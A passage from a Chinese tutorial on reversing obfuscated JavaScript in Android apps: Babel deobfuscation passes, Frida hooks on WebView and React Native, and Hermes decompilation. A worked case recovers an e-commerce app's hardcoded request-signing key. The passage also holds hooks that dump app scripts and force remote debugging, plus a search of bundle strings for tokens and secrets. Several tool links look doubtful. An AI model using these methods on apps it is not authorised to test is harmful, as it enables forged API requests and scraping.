控制流平坦化的代码具有以下显著特征： 特征 描述 while(true) 或 while(!![]) 外层包裹无限循环 switch 语句 内层包含多个 case 分支 状态字符串 'N|N|N...'['split']('|') 用管道符分割的数字序列 每个 case 以 continue 结尾 跳回循环头继续分发 最后一个有效 case 无 continue 函数返回或循环 break ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:5:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#识别模式"},{"categories":null,"collections":null,"content":"手动还原步骤 定位状态序列：找到类似 '3|0|1|4|2'['split']('|') 的表达式 解析执行顺序：将字符串按 | 分割，得到 [3, 0, 1, 4, 2] 按序提取代码块：按顺序取出每个 case 中的代码 移除控制结构：删除 while、switch、continue 和状态变量 组合为线性代码：将提取的代码块顺序拼接 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:5:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#手动还原步骤"},{"categories":null,"collections":null,"content":"AST 自动化还原 手动还原效率低下且容易出错。以下是使用 Babel 自动还原控制流平坦化的核心逻辑： const parser = require('@babel/parser'); const traverse = require('@babel/traverse').default; const generate = require('@babel/generator').default; const t = require('@babel/types'); function deobfuscateCFF(code) { const ast = parser.parse(code); traverse(ast, { WhileStatement(path) { // 检查是否是 while(true) + switch 结构 const body = path.get('body'); if (!body.isSwitchStatement() \u0026\u0026 !(body.isBlockStatement() \u0026\u0026 body.get('body.0').isSwitchStatement())) { return; } const switchNode = body.isSwitchStatement() ? body : body.get('body.0'); // 查找状态序列 // 通常在 while 之前的变量声明中 const parentBlock = path.parentPath; const siblings = parentBlock.get('body') || []; const whileIdx = siblings.findIndex(s =\u003e s === path); // 寻找状态变量声明（形如 var xxx = 'N|N|N'.split('|') ） let orderArray = null; for (let i = whileIdx - 1; i \u003e= 0; i--) { const sibling = siblings[i]; if (sibling.isVariableDeclaration()) { const init = sibling.get('declarations.0.init'); // 检查是否是 'N|N|N'.split('|') 调用 if (init.isCallExpression()) { try { const evaluated = init.evaluate(); if (evaluated.confident \u0026\u0026 Array.isArray(evaluated.value)) { orderArray = evaluated.value; sibling.remove(); break; } } catch(e) {} } } } if (!orderArray) return; // 按照状态序列提取并排列 case 代码块 const cases = switchNode.node ? switchNode.node.cases : switchNode.cases; const caseMap = {}; cases.forEach(c =\u003e { caseMap[c.test.value] = c.consequent.filter( s =\u003e !t.isContinueStatement(s) \u0026\u0026 !t.isBreakStatement(s) ); }); const newBody = []; for (const key of orderArray) { if (caseMap[key]) { newBody.push(...caseMap[key]); } } // 替换 while 循环为线性代码 path.replaceWithMultiple(newBody); } }); return generate(ast).code; } ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:5:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#ast-自动化还原"},{"categories":null,"collections":null,"content":"AST 反混淆 AST (Abstract Syntax Tree，抽象语法树) 是 JS 反混淆的核心武器。通过将代码解析为 AST，我们可以编写精确的转换规则，批量地还原混淆操作。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:6:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#ast-反混淆"},{"categories":null,"collections":null,"content":"Babel 工具链 反混淆工作主要使用以下 Babel 包： 包名 用途 @babel/parser 将 JS 代码解析为 AST @babel/traverse 遍历和修改 AST 节点 @babel/generator 将 AST 重新生成为 JS 代码 @babel/types AST 节点类型的工具函数 安装依赖： npm install @babel/parser @babel/traverse @babel/generator @babel/types ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:6:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#babel-工具链"},{"categories":null,"collections":null,"content":"反混淆脚本模板 以下是一个通用的 AST 反混淆脚本框架： const fs = require('fs'); const parser = require('@babel/parser'); const traverse = require('@babel/traverse').default; const generate = require('@babel/generator').default; const t = require('@babel/types'); // 读取混淆代码 const code = fs.readFileSync('obfuscated.js', 'utf-8'); const ast = parser.parse(code); // ========== Pass 1: 常量折叠 ========== // 将 0x1a + 0x2b 计算为 69 traverse(ast, { BinaryExpression(path) { const { confident, value } = path.evaluate(); if (confident \u0026\u0026 typeof value === 'number') { path.replaceWith(t.numericLiteral(value)); } if (confident \u0026\u0026 typeof value === 'string') { path.replaceWith(t.stringLiteral(value)); } } }); // ========== Pass 2: 十六进制数字还原 ========== // 将 0x7b 还原为 123 traverse(ast, { NumericLiteral(path) { // Babel 默认会输出十进制，无需额外操作 // 但如果有 extra.raw 保留了十六进制，需要清除 if (path.node.extra) { delete path.node.extra; } } }); // ========== Pass 3: 对象属性调用还原 ========== // 将 obj['prop'] 还原为 obj.prop（当属性名是合法标识符时） traverse(ast, { MemberExpression(path) { if (path.node.computed \u0026\u0026 t.isStringLiteral(path.node.property)) { const propName = path.node.property.value; if (/^[a-zA-Z_$][a-zA-Z0-9_$]*$/.test(propName)) { path.node.property = t.identifier(propName); path.node.computed = false; } } } }); // ========== Pass 4: 死代码移除 ========== // 移除 if ('xxx' !== 'xxx') { ... } 类型的死代码 traverse(ast, { IfStatement(path) { const test = path.get('test'); const { confident, value } = test.evaluate(); if (confident) { if (value) { // 条件恒为 true，保留 consequent path.replaceWithMultiple( path.node.consequent.type === 'BlockStatement' ? path.node.consequent.body : [path.node.consequent] ); } else { // 条件恒为 false if (path.node.alternate) { path.replaceWithMultiple( path.node.alternate.type === 'BlockStatement' ? path.node.alternate.body : [path.node.alternate] ); } else { path.remove(); } } } } }); // ========== Pass 5: 代理函数内联 ========== // 将 function _0xadd(a, b) { return a + b; } 的调用还原为 a + b traverse(ast, { FunctionDeclaration(path) { const body = path.get('body.body'); if (body.length !== 1 || !body[0].isReturnStatement()) return; const returnArg = body[0].get('argument'); if (!returnArg.isBinaryExpression() \u0026\u0026 !returnArg.isLogicalExpression()) return; const funcName = path.node.id.name; const params = path.node.params.map(p =\u003e p.name); const binding = path.scope.getBinding(funcName); if (!binding) return; // 检查所有引用是否都是调用表达式 const refs = binding.referencePaths; const allCalls = refs.every(ref =\u003e ref.parentPath.isCallExpression() \u0026\u0026 ref.parentPath.get('callee') === ref ); if (allCalls \u0026\u0026 refs.length \u003e 0) { for (const ref of refs) { const callPath = ref.parentPath; const args = callPath.get('arguments'); // 构建替换表达式 const cloned = t.cloneDeep(returnArg.node); // 替换参数 traverse(t.file(t.program([t.expressionStatement(cloned)])), { Identifier(innerPath) { const idx = params.indexOf(innerPath.node.name); if (idx !== -1 \u0026\u0026 args[idx]) { innerPath.replaceWith( t.cloneDeep(args[idx].node) ); } }, noScope: true }); callPath.replaceWith(cloned); } path.remove(); } } }); // 输出还原后的代码 const output = generate(ast, { comments: false }).code; fs.writeFileSync('deobfuscated.js', output); console.log('反混淆完成！输出: deobfuscated.js'); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:6:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#反混淆脚本模板"},{"categories":null,"collections":null,"content":"使用 AST Explorer 辅助分析 AST Explorer 是一个在线工具，能将 JS 代码实时转换为 AST 树形结构。在编写反混淆脚本前，建议先用它观察混淆代码的 AST 结构： 打开 https://astexplorer.net/ 选择解析器为 @babel/parser 粘贴混淆代码片段 在右侧面板中观察 AST 节点类型和结构 根据观察到的模式，编写对应的 Babel visitor ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:6:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#使用-ast-explorer-辅助分析"},{"categories":null,"collections":null,"content":"WebView 中的 JS 逆向 Android 应用中大量使用 WebView 来加载 H5 页面。使用 Frida 可以在运行时拦截和分析 WebView 中的 JS 执行。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:7:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#webview-中的-js-逆向"},{"categories":null,"collections":null,"content":"拦截 WebView.loadUrl 当 App 通过 loadUrl(\"javascript:...\") 向 WebView 注入 JS 代码时，我们可以拦截并记录： // frida -U -f com.target.app -l webview_hook.js Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); // Hook loadUrl - 拦截所有加载的 URL 和注入的 JS WebView.loadUrl.overload('java.lang.String').implementation = function(url) { if (url.startsWith('javascript:')) { console.log('[WebView.loadUrl] JS 注入:'); console.log(url.substring(11)); // 去掉 \"javascript:\" 前缀 console.log('---'); } else { console.log('[WebView.loadUrl] URL: ' + url); } return this.loadUrl(url); }; }); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:7:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#拦截-webviewloadurl"},{"categories":null,"collections":null,"content":"Hook evaluateJavascript Android 4.4+ 推荐使用 evaluateJavascript() 来执行 JS 并获取返回值： Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); WebView.evaluateJavascript.implementation = function(script, callback) { console.log('[evaluateJavascript] 执行脚本:'); console.log(script); console.log('---'); // 如果有回调，包装它来记录返回值 if (callback !== null) { var ValueCallback = Java.use('android.webkit.ValueCallback'); var originalCallback = callback; var newCallback = Java.registerClass({ name: 'com.hook.JsCallback', implements: [ValueCallback], methods: { onReceiveValue: function(value) { console.log('[evaluateJavascript] 返回值: ' + value); originalCallback.onReceiveValue(value); } } }); return this.evaluateJavascript(script, newCallback.$new()); } return this.evaluateJavascript(script, callback); }; }); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:7:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#hook-evaluatejavascript"},{"categories":null,"collections":null,"content":"拦截 JSBridge 通信 许多 App 使用 addJavascriptInterface 向 WebView 暴露 Java 方法。我们可以 hook 这些接口： Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); // 拦截 addJavascriptInterface，找出所有 Bridge 对象 WebView.addJavascriptInterface.implementation = function(obj, name) { console.log('[JSBridge] 注册接口: ' + name); console.log('[JSBridge] 对象类型: ' + obj.getClass().getName()); // 列出所有暴露的方法 var methods = obj.getClass().getDeclaredMethods(); for (var i = 0; i \u003c methods.length; i++) { var annotations = methods[i].getAnnotations(); for (var j = 0; j \u003c annotations.length; j++) { if (annotations[j].toString().indexOf('JavascriptInterface') !== -1) { console.log(' -\u003e @JavascriptInterface: ' + methods[i].getName()); } } } return this.addJavascriptInterface(obj, name); }; }); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:7:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#拦截-jsbridge-通信"},{"categories":null,"collections":null,"content":"从 WebView 中导出 JS 源码 使用 Frida 将 WebView 中正在运行的 JS 代码和关键变量导出到文件： Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); // 在页面加载完成后，注入 JS 提取页面中的所有 script 内容 WebView.loadUrl.overload('java.lang.String').implementation = function(url) { var result = this.loadUrl(url); if (!url.startsWith('javascript:')) { // 延迟执行，等待页面加载完成 var webview = this; setTimeout(function() { var extractScript = \"javascript:void(function(){\" + \"var scripts = document.querySelectorAll('script');\" + \"var result = [];\" + \"scripts.forEach(function(s, i){\" + \" result.push('=== Script ' + i + ' ===');\" + \" result.push(s.src || s.textContent.substring(0, 500));\" + \"});\" + \"window._extracted = result.join('\\\\n');\" + \"}())\"; webview.loadUrl(extractScript); }, 3000); } return result; }; }); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:7:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#从-webview-中导出-js-源码"},{"categories":null,"collections":null,"content":"React Native 逆向 React Native (RN) 应用将 JS 代码打包为一个 bundle 文件。逆向 RN 应用的核心在于提取和分析这个 bundle。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:8:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#react-native-逆向"},{"categories":null,"collections":null,"content":"Bundle 文件提取 步骤 1：解压 APK # 使用 apktool 或直接解压 unzip target.apk -d target_apk # React Native bundle 文件通常位于 assets 目录 ls target_apk/assets/ # 典型文件：index.android.bundle 步骤 2：判断 Bundle 类型 React Native 的 bundle 文件有两种格式： 类型 特征 查看方式 JSC (JavaScriptCore) 文件开头为明文 JS 代码 直接用文本编辑器打开 Hermes 字节码 文件开头为 c6 1f bc 03 (魔数) 需要反编译 # 检查文件类型 xxd target_apk/assets/index.android.bundle | head -1 # 如果看到 c61fbc03，说明是 Hermes 字节码 # 如果看到 var __BUNDLE 或类似 JS 代码，说明是明文 JS ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:8:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#bundle-文件提取"},{"categories":null,"collections":null,"content":"Hermes 字节码反编译 Facebook 的 Hermes 引擎将 JS 编译为字节码以提升启动速度。反编译 Hermes 字节码需要专用工具。 使用 hermes-dec (hbctool 的继任者) # 安装 hermes-dec pip install hermes-dec # 反编译 Hermes 字节码 hermes-dec index.android.bundle -o decompiled_output/ # 输出为可读的 JS 代码 cat decompiled_output/index.js 使用 hbctool # 安装 hbctool pip install hbctool # 反汇编为 Hermes Assembly hbctool disasm index.android.bundle output_dir/ # 查看反汇编结果 ls output_dir/ # instruction.hasm metadata.json string.json string.json 文件中包含了 bundle 中的所有字符串常量，这对于理解代码逻辑非常有帮助： # 搜索关键字符串 python3 -c \" import json strings = json.load(open('output_dir/string.json')) for i, s in enumerate(strings): if 'api' in s.lower() or 'token' in s.lower() or 'secret' in s.lower(): print(f'[{i}] {s}') \" ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:8:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#hermes-字节码反编译"},{"categories":null,"collections":null,"content":"React Native 调试技巧 通过 Frida Hook RN Bridge Java.perform(function() { // Hook CatalystInstance.jniCallJSFunction // 这是 Java 层调用 JS 函数的入口 var CatalystInstance = Java.use( 'com.facebook.react.bridge.CatalystInstanceImpl' ); CatalystInstance.jniCallJSFunction.implementation = function(module, method, args) { console.log('[RN Bridge] ' + module + '.' + method); console.log(' args: ' + args); return this.jniCallJSFunction(module, method, args); }; }); 使用 React Native Debugger 远程调试 部分 RN 应用在 debug 模式下支持 Chrome 远程调试。即使是 release 版本，也可以通过 Frida 强制开启调试模式： Java.perform(function() { // 尝试启用 RN 开发者菜单 var DevSettingsModule = Java.use( 'com.facebook.react.devsupport.DevInternalSettings' ); DevSettingsModule.setIsDebuggingRemotely.implementation = function(enabled) { console.log('[RN] 强制启用远程调试'); return this.setIsDebuggingRemotely(true); }; }); ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:8:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#react-native-调试技巧"},{"categories":null,"collections":null,"content":"实用反混淆工具 在实际逆向工作中，通常会结合自动化工具和手动分析。以下是常用工具及其适用场景： ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:9:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#实用反混淆工具"},{"categories":null,"collections":null,"content":"工具对比 工具 类型 适用场景 地址 de4js 在线/离线 eval 解包、通用反混淆 https://lelinhtinh.github.io/de4js/ synchrony Node.js CLI javascript-obfuscator 专用还原 https://github.com/nicolo-ribaudo/synchrony js-deobfuscator Node.js CLI OB 混淆通用还原 https://github.com/nicolo-ribaudo/js-deobfuscator JStillery 在线 动态分析 + 代码简化 https://mindedsecurity.github.io/jstillery/ AST Explorer 在线 AST 结构查看与调试 https://astexplorer.net/ Babel Node.js 库 自定义 AST 转换脚本 https://babeljs.io/ hermes-dec Python CLI Hermes 字节码反编译 https://github.com/nicolo-ribaudo/hermes-dec Prettier Node.js CLI 代码格式化美化 https://prettier.io/ ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:9:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#工具对比"},{"categories":null,"collections":null,"content":"de4js 使用 de4js 支持多种常见的打包方式自动解包： Eval - eval(function(p,a,c,k,e,r){...}) 类型 Array - 基于数组的字符串替换 _Number - 数字编码的混淆 JSFuck - 纯符号编码 ([]()!+) Obfuscator.io - obfuscator.io 的输出 使用方式：将混淆代码粘贴到输入框，勾选对应的混淆类型，点击解码即可。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:9:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#de4js-使用"},{"categories":null,"collections":null,"content":"synchrony 使用 synchrony 是目前还原 javascript-obfuscator 输出最有效的自动化工具之一： # 安装 npm install -g deobfuscator # 基本使用 synchrony deobfuscate obfuscated.js -o clean.js # 指定转换 pass synchrony deobfuscate obfuscated.js \\ --transform string-decoder \\ --transform control-flow \\ --transform dead-code \\ -o clean.js ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:9:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#synchrony-使用"},{"categories":null,"collections":null,"content":"自定义 Babel 插件工作流 当自动化工具无法处理特殊变种时，需要编写自定义的 Babel 插件。推荐的工作流： 混淆代码 ──→ AST Explorer 分析结构 │ ↓ 编写 Babel visitor │ ↓ ┌──→ Pass 1: 字符串解密 │ Pass 2: 常量折叠 │ Pass 3: 代理函数内联 │ Pass 4: 控制流还原 │ Pass 5: 死代码移除 │ Pass 6: 属性访问还原 │ │ │ ↓ │ 检查输出结果 │ │ └── 不满意 ──┘ │ 满意 ↓ Prettier 格式化 ↓ 最终输出 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:9:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#自定义-babel-插件工作流"},{"categories":null,"collections":null,"content":"实战案例 💡 思路一句话: 先用 AST 解析器还原控制流（反平坦化）→ 再用字符串解密脚本批量还原常量 → 最后手动重命名变量恢复可读性。JS 混淆的还原比 native 混淆容易得多，因为有完善的 AST 工具链。 以下是一个完整的实战案例，演示从 Android 应用中提取混淆 JS 代码并进行反混淆的全过程。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#实战案例"},{"categories":null,"collections":null,"content":"场景描述 某电商 App 在发起网络请求时，会在 WebView 中执行一段混淆的 JS 代码来生成请求签名参数 _sign。我们需要还原这段 JS 代码，理解签名算法。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#场景描述"},{"categories":null,"collections":null,"content":"第一步：定位 JS 代码 使用 Frida 拦截 WebView 的 JS 执行： // locate_sign.js Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); WebView.evaluateJavascript.implementation = function(script, cb) { if (script.indexOf('_sign') !== -1 || script.indexOf('sign') !== -1) { console.log('========== 发现签名相关 JS =========='); console.log('长度: ' + script.length); console.log('前 200 字符: ' + script.substring(0, 200)); // 将完整脚本保存到文件 var File = Java.use('java.io.File'); var FileWriter = Java.use('java.io.FileWriter'); var fw = FileWriter.$new( '/data/data/com.target.app/files/sign_script.js' ); fw.write(script); fw.close(); console.log('脚本已保存到 /data/data/com.target.app/files/sign_script.js'); } return this.evaluateJavascript(script, cb); }; }); # 运行 Frida frida -U -f com.target.app -l locate_sign.js # 导出保存的脚本 adb pull /data/data/com.target.app/files/sign_script.js ./ ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#第一步定位-js-代码"},{"categories":null,"collections":null,"content":"第二步：初步分析混淆代码 提取出的代码通常类似这样（已简化）： var _0x5a2e = ['bGVuZ3Ro', 'Y2hhckNvZGVBdA==', 'c3Vic3RyaW5n', 'am9pbg==', 'c2xpY2U=', 'cHVzaA==', 'AEsMGQ4=', 'EAQOBBk=']; (function(_0x4a2f, _0x3b1e) { var _0xrotate = function(_0xnum) { while (--_0xnum) { _0x4a2f['push'](_0x4a2f['shift']()); } }; _0xrotate(++_0x3b1e); }(_0x5a2e, 0xb3)); var _0xdec = function(_0xidx, _0xkey) { _0xidx = _0xidx - 0x0; var _0xval = _0x5a2e[_0xidx]; // ... Base64 + XOR 解码逻辑 ... return _0xval; }; function _0x2a1b(_0x3c4d, _0x5e6f) { return _0x3c4d + _0x5e6f; } function _0x7b8c(_0x9d0e, _0x1f2a) { return _0x9d0e ^ _0x1f2a; } function _0x4e5f(_0x6a7b, _0x8c9d) { return _0x6a7b % _0x8c9d; } function generateSign(_0xinput) { var _0xorder = '2|0|4|1|3'['split']('|'), _0xi = 0x0; while (!![]) { switch (_0xorder[_0xi++]) { case '0': var _0xkey = _0xdec('0x3'); continue; case '1': for (var _0xj = 0x0; _0xj \u003c _0xinput[_0xdec('0x0')]; _0xj++) { _0xresult[_0xdec('0x5')]( String['fromCharCode']( _0x7b8c( _0xinput[_0xdec('0x1')](_0xj), _0xkey[_0xdec('0x1')]( _0x4e5f(_0xj, _0xkey[_0xdec('0x0')]) ) ) ) ); } continue; case '2': var _0xresult = []; continue; case '3': return _0xresult[_0xdec('0x4')](''); case '4': var _0xlen = _0xinput[_0xdec('0x0')]; continue; } break; } } ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#第二步初步分析混淆代码"},{"categories":null,"collections":null,"content":"第三步：执行反混淆 3a. 字符串解密 首先在 Node.js 中执行字符串数组和解码函数，得到所有明文： // decode_strings.js // 粘贴字符串数组、旋转函数和解码函数到这里 // ... (省略，从混淆代码中复制) // 批量解密 for (var i = 0; i \u003c 20; i++) { try { console.log(`_0xdec('0x${i.toString(16)}') =\u003e \"${_0xdec('0x' + i.toString(16))}\"`); } catch(e) {} } // 输出: // _0xdec('0x0') =\u003e \"length\" // _0xdec('0x1') =\u003e \"charCodeAt\" // _0xdec('0x2') =\u003e \"substring\" // _0xdec('0x3') =\u003e \"secretKey123\" // _0xdec('0x4') =\u003e \"join\" // _0xdec('0x5') =\u003e \"push\" 3b. 应用 AST 反混淆脚本 使用前面介绍的 Babel 脚本，依次执行： 字符串解密替换 代理函数内联 常量折叠 控制流平坦化还原 死代码移除 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#第三步执行反混淆"},{"categories":null,"collections":null,"content":"第四步：还原后的代码 经过完整反混淆处理后，代码变为： function generateSign(input) { var result = []; var key = \"secretKey123\"; var len = input.length; for (var j = 0; j \u003c input.length; j++) { result.push( String.fromCharCode( input.charCodeAt(j) ^ key.charCodeAt(j % key.length) ) ); } return result.join(''); } 分析结论：签名算法实际上是一个简单的XOR 加密，使用固定密钥 \"secretKey123\" 对输入字符串逐字符异或。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:5","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#第四步还原后的代码"},{"categories":null,"collections":null,"content":"第五步：用 Frida 验证 编写 Frida 脚本，在运行时验证我们还原的算法是否正确： // verify_sign.js Java.perform(function() { var WebView = Java.use('android.webkit.WebView'); WebView.evaluateJavascript.implementation = function(script, cb) { if (script.indexOf('_sign') !== -1) { // 提取传入的参数 var match = script.match(/generateSign\\(\"(.+?)\"\\)/); if (match) { var input = match[1]; var key = \"secretKey123\"; // 用还原后的算法计算签名 var result = []; for (var j = 0; j \u003c input.length; j++) { result.push(String.fromCharCode( input.charCodeAt(j) ^ key.charCodeAt(j % key.length) )); } var ourSign = result.join(''); console.log('[验证] 输入: ' + input); console.log('[验证] 我们的签名: ' + ourSign); } } // 包装回调来获取 App 计算的签名 if (cb !== null) { var ValueCallback = Java.use('android.webkit.ValueCallback'); var origCb = cb; var newCb = Java.registerClass({ name: 'com.hook.VerifyCb', implements: [ValueCallback], methods: { onReceiveValue: function(value) { console.log('[验证] App 的签名: ' + value); origCb.onReceiveValue(value); } } }); return this.evaluateJavascript(script, newCb.$new()); } return this.evaluateJavascript(script, cb); }; }); 如果两个签名一致，说明我们的反混淆结果是正确的。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:10:6","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#第五步用-frida-验证"},{"categories":null,"collections":null,"content":"分析与反混淆策略 反混淆 OB 代码通常是一个系统性的工程，需要多种工具和技术结合。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:11:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#分析与反混淆策略"},{"categories":null,"collections":null,"content":"1. 字符串解密与替换 定位解码函数：找到负责从字符串数组中取值并解密的函数。 执行解码逻辑： 动态执行：在 Node.js 或浏览器环境中，直接调用解码函数，将所有加密的字符串预先解密出来。 静态分析：如果解码算法（如 RC4）比较标准，可以编写脚本静态地解密所有字符串。 批量替换：编写脚本（通常基于 AST），将代码中所有对解码函数的调用 decoder(\"0x1\") 替换成其返回的原始字符串 \"original_string\"。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:11:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#1-字符串解密与替换"},{"categories":null,"collections":null,"content":"2. 控制流平坦化还原 这是最困难的一步，但也是最有价值的一步。 AST 分析：使用 Babel 等工具将代码解析成 AST。 定位主循环：找到包含 while(true) 和 switch 的巨大循环体。 识别状态变量：找到控制 switch 跳转的状态变量和它的初始值。 重排代码块： 提取 switch 的 case 数组和状态变量的初始跳转顺序。 根据这个顺序，将每个 case 块中的代码按正确的逻辑重新排列。 移除 while 和 switch 结构，生成线性的、可读的代码。 自动化工具：社区中有一些尝试自动化还原控制流的工具，但由于 OB 混淆变种繁多，通用性有限。 